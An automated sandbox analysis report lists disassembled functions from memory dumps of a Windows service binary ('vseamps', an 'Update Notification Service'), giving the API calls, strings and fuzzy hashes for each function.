Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction ID: 56b7ada565ecb083b5892330f511bf6cd885877ef2bee609f5ffef12e4ab2997
Opcode Fuzzy Hash: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction Fuzzy Hash: E01172B4918A8081F71BDBA7B81C7D522E2FB8DBD9F444015E70A4B2F0DFBE8499C601

Function 00007FFE1320B86C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FFE1320B9E8
GetProcAddress.KERNEL32 ref: 00007FFE1320B9F4

Strings

api-ms-, xrefs: 00007FFE1320B932
ext-ms-, xrefs: 00007FFE1320B945

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction ID: f51b02e799573f56cd67867075af53494a7c37387b294582f87bf5fc47a8d0cb
Opcode Fuzzy Hash: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction Fuzzy Hash: 5441E321B19E0289FA25EF17A9106BE2391BFA5BB0F084575DD4D777A4DE3CE409C740

Function 0000000140002A00 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32 ref: 0000000140002A3C
RegQueryValueExW.ADVAPI32 ref: 0000000140002A76
RegCloseKey.ADVAPI32 ref: 0000000140002A96
EnterCriticalSection.KERNEL32 ref: 0000000140002AAB
LeaveCriticalSection.KERNEL32 ref: 0000000140002B31

Strings

SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002A0D
action, xrefs: 0000000140002A52

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterLeaveQueryValue
String ID: SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 1119674940-1966266597
Opcode ID: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction ID: f124d29d71956a548941c3df06686b2c3eef24402cfc23b06ee64cf3511db711
Opcode Fuzzy Hash: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction Fuzzy Hash: 6F31F975214B4186EB22CF26F884B9573A4F78D7A8F401315FBA94B6B4DF3AC148CB00

Function 0000000140001900 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 56memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004BE7
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004BF6
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C04
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C3E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C4D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C5B
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C8E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C9D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004CAB

GetComputerNameW.KERNEL32 ref: 0000000140001991
lstrlenW.KERNEL32 ref: 000000014000199C
GetProcessHeap.KERNEL32 ref: 00000001400019AB
HeapAlloc.KERNEL32 ref: 00000001400019B9

Strings

ncalrpc, xrefs: 000000014000196D
ampIfEp, xrefs: 000000014000195E
Security=impersonation static true, xrefs: 0000000140001952

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen$ComputerName
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3702919091-996641649
Opcode ID: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction ID: 080136972d91dcf489914e021d1613250a4fb989530f4420e20b1ceb3111c88a
Opcode Fuzzy Hash: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction Fuzzy Hash: 4F212A71215B8082EB12CB12F84438A73A4F789BE8F514216EB9D07BB8DF7DC54ACB00

Function 000000014000F3E0 Relevance: 10.7, APIs: 7, Instructions: 179COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F43A
GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F459
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F4FF
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F559
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F592
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F5CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F60E

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction ID: 43b9ce706039119b05782f2693b3e997f7dca892eef84fff4304595f3d56aff3
Opcode Fuzzy Hash: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction Fuzzy Hash: 266181B2200B808AE762DF23B8407AA66E5F74C7E8F548325BF6947BF4DB74C555A700

Function 00007FFE1320712C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFE132072EB,?,?,?,00007FFE13203EC0,?,?,?,?,00007FFE13203CFD), ref: 00007FFE132071B1
GetLastError.KERNEL32(?,?,?,00007FFE132072EB,?,?,?,00007FFE13203EC0,?,?,?,?,00007FFE13203CFD), ref: 00007FFE132071BF
LoadLibraryExW.KERNEL32(?,?,?,00007FFE132072EB,?,?,?,00007FFE13203EC0,?,?,?,?,00007FFE13203CFD), ref: 00007FFE132071E9
FreeLibrary.KERNEL32(?,?,?,00007FFE132072EB,?,?,?,00007FFE13203EC0,?,?,?,?,00007FFE13203CFD), ref: 00007FFE13207257
GetProcAddress.KERNEL32(?,?,?,00007FFE132072EB,?,?,?,00007FFE13203EC0,?,?,?,?,00007FFE13203CFD), ref: 00007FFE13207263

Strings

api-ms-, xrefs: 00007FFE132071D1

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction ID: b1b605393add6a819cde189612f1031f811afda2d1040e313fea657fd63f7cf2
Opcode Fuzzy Hash: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction Fuzzy Hash: 4031D221B1AF429DFE15AB0BA4005BD6394BFA9B70F590674ED1D273A1EE3CE449C300

Function 00007FFE13209444 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFE13209453
FlsGetValue.KERNEL32 ref: 00007FFE13209468
FlsSetValue.KERNEL32 ref: 00007FFE13209489
FlsSetValue.KERNEL32 ref: 00007FFE132094B6
FlsSetValue.KERNEL32 ref: 00007FFE132094C7
FlsSetValue.KERNEL32 ref: 00007FFE132094D8
SetLastError.KERNEL32 ref: 00007FFE132094F3

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction ID: 9c13dd64791026cb2d38728fdcee1a7ee9bdb1a945891c6419964660a8493107
Opcode Fuzzy Hash: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction Fuzzy Hash: 77212C20B0CE824DFA65B723565113E55529FE4BB0F1447B4E93F36AF6DE6CE449C200

Function 00007FFE13210100 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFE13210131
GetLastError.KERNEL32 ref: 00007FFE1321013D
CloseHandle.KERNEL32 ref: 00007FFE13210155
CreateFileW.KERNEL32 ref: 00007FFE13210180
WriteConsoleW.KERNEL32 ref: 00007FFE1321019F

Strings

CONOUT$, xrefs: 00007FFE13210161

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction ID: d46568586f317830685a8f2b42987ef54e05f9a52d9b9c51f603404c8beb9f82
Opcode Fuzzy Hash: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction Fuzzy Hash: 24117C21B18F418AE750AB57A94432972A0BBE9FF4F004274EA5EA7BA5CF3CD544C744

Function 0000000140001270 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrysynchronizationCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerW.ADVAPI32 ref: 0000000140001282
CreateEventW.KERNEL32 ref: 00000001400012C0

Part of subcall function 0000000140003F80: InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
Part of subcall function 0000000140003F80: GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
Part of subcall function 0000000140003F80: OpenProcessToken.ADVAPI32 ref: 0000000140004007
Part of subcall function 0000000140003F80: GetLastError.KERNEL32 ref: 0000000140004011
Part of subcall function 0000000140003F80: EnterCriticalSection.KERNEL32 ref: 00000001400040B3
Part of subcall function 0000000140003F80: LeaveCriticalSection.KERNEL32 ref: 000000014000412B
Part of subcall function 0000000140003F80: GetVersionExW.KERNEL32 ref: 0000000140004155
Part of subcall function 0000000140003F80: RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
Part of subcall function 0000000140003F80: RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
Part of subcall function 0000000140003F80: RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
Part of subcall function 0000000140003F80: RpcServerListen.RPCRT4 ref: 00000001400041D3

SetServiceStatus.ADVAPI32 ref: 0000000140001302
WaitForSingleObject.KERNEL32 ref: 0000000140001312

Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
Part of subcall function 00000001400042B0: CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
Part of subcall function 00000001400042B0: SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
Part of subcall function 00000001400042B0: WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
Part of subcall function 00000001400042B0: TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
Part of subcall function 00000001400042B0: RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
Part of subcall function 00000001400042B0: RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

SetServiceStatus.ADVAPI32 ref: 000000014000134B

Strings

vseamps, xrefs: 000000014000127B

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$Server$CloseEnterHandleLeaveService$DeleteEventObjectProcessRegisterSingleStatusWait$CancelContextCreateCtrlCurrentDontErrorHandlerInitializeLastListenListeningMgmtOpenProtseqSerializeStopTerminateThreadTimerTokenUnregisterVersionWaitable
String ID: vseamps
API String ID: 3197017603-3944098904
Opcode ID: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction ID: 0252cca9582b7aeb0e5a7a434c8e7364f46e89616d8e728b6478e43ab65cb610
Opcode Fuzzy Hash: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction Fuzzy Hash: B921A2B1625A009AEB02DF17FC85BD637A0B74C798F45621AB7498F275CB7EC148CB00

Function 00000001400011F0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 24windowCOMMON

Download Yara Rule

APIs

sprintf_s.LIBCMTD ref: 0000000140001233
MessageBoxW.USER32 ref: 0000000140001249

Strings

Help, xrefs: 0000000140001238
usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy, xrefs: 000000014000121D
Jul 5 2019, xrefs: 0000000140001216
10:52:57, xrefs: 000000014000120F

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Messagesprintf_s
String ID: 10:52:57$Help$Jul 5 2019$usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy
API String ID: 2642950106-3610746849
Opcode ID: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction ID: 92f91a294e228129c374272f9a209b177778b3d46068e39525b46f8f62cf975d
Opcode Fuzzy Hash: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction Fuzzy Hash: 78F01DB1221A8595FB52EB61F8567D62364F78C788F811112BB4D0B6BADF3DC219C700

Function 0000000140002650 Relevance: 10.0, APIs: 8, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002666
HeapFree.KERNEL32 ref: 0000000140002674
GetProcessHeap.KERNEL32 ref: 0000000140002683
HeapFree.KERNEL32 ref: 0000000140002691
GetProcessHeap.KERNEL32 ref: 00000001400026A0
HeapFree.KERNEL32 ref: 00000001400026AE
GetProcessHeap.KERNEL32 ref: 00000001400026BD
HeapFree.KERNEL32 ref: 00000001400026CB

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction ID: 80974503ddc58818480ab649a73b779641f1d99de81085d1f592bfbfa5fc6ad1
Opcode Fuzzy Hash: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction Fuzzy Hash: 9C01EDB8701B8041EB0BDFE7B60839992A2AB8DFD5F185024AF1D17779DE3AC4548700

Function 0000000140002970 Relevance: 10.0, APIs: 8, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002986
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002994
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029A3
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029B1
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029C0
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029CE
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029DD
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029EB

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction ID: 9f3d0c666f817a9e432213240f72880bf7997caebe097eb0308f7621ef9b933c
Opcode Fuzzy Hash: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction Fuzzy Hash: 20010CB9601B8081EB4BDFE7B608399A2A2FB8DFD4F089024AF0917739DE39C4548200

Function 000000014000F680 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6FD
GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F72B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F799
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F84C
GetStringTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F911

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 319667368-0
Opcode ID: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction ID: 469d978012ccf723a2c6c682b25d7e2ba576a75483cbf286a89393a26fd70a6f
Opcode Fuzzy Hash: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction Fuzzy Hash: E3817EB2200B8096EB62DF27A4407E963A5F74CBE4F548215FB6D57BF4EB78C546A300

Function 000000014000ADE0 Relevance: 9.2, APIs: 6, Instructions: 167COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE38
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE4E

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AEDE
MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF85
GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF9C
GetStringTypeA.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AFFB

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 1390108997-0
Opcode ID: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction ID: bb54969f148ae750ab4279c880304e23b66920be01f6227d0c0ffa95ca0b2e73
Opcode Fuzzy Hash: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction Fuzzy Hash: 1B616CB22007818AEB62DF66E8407E967E1F74DBE4F144625FF5887BE5DB39C9418340

Function 00007FFE13204CD4 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 319COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE13204E72
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE1320519B

Strings

csm, xrefs: 00007FFE13204DB9
csm, xrefs: 00007FFE13204E1B
csm, xrefs: 00007FFE13204E99

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
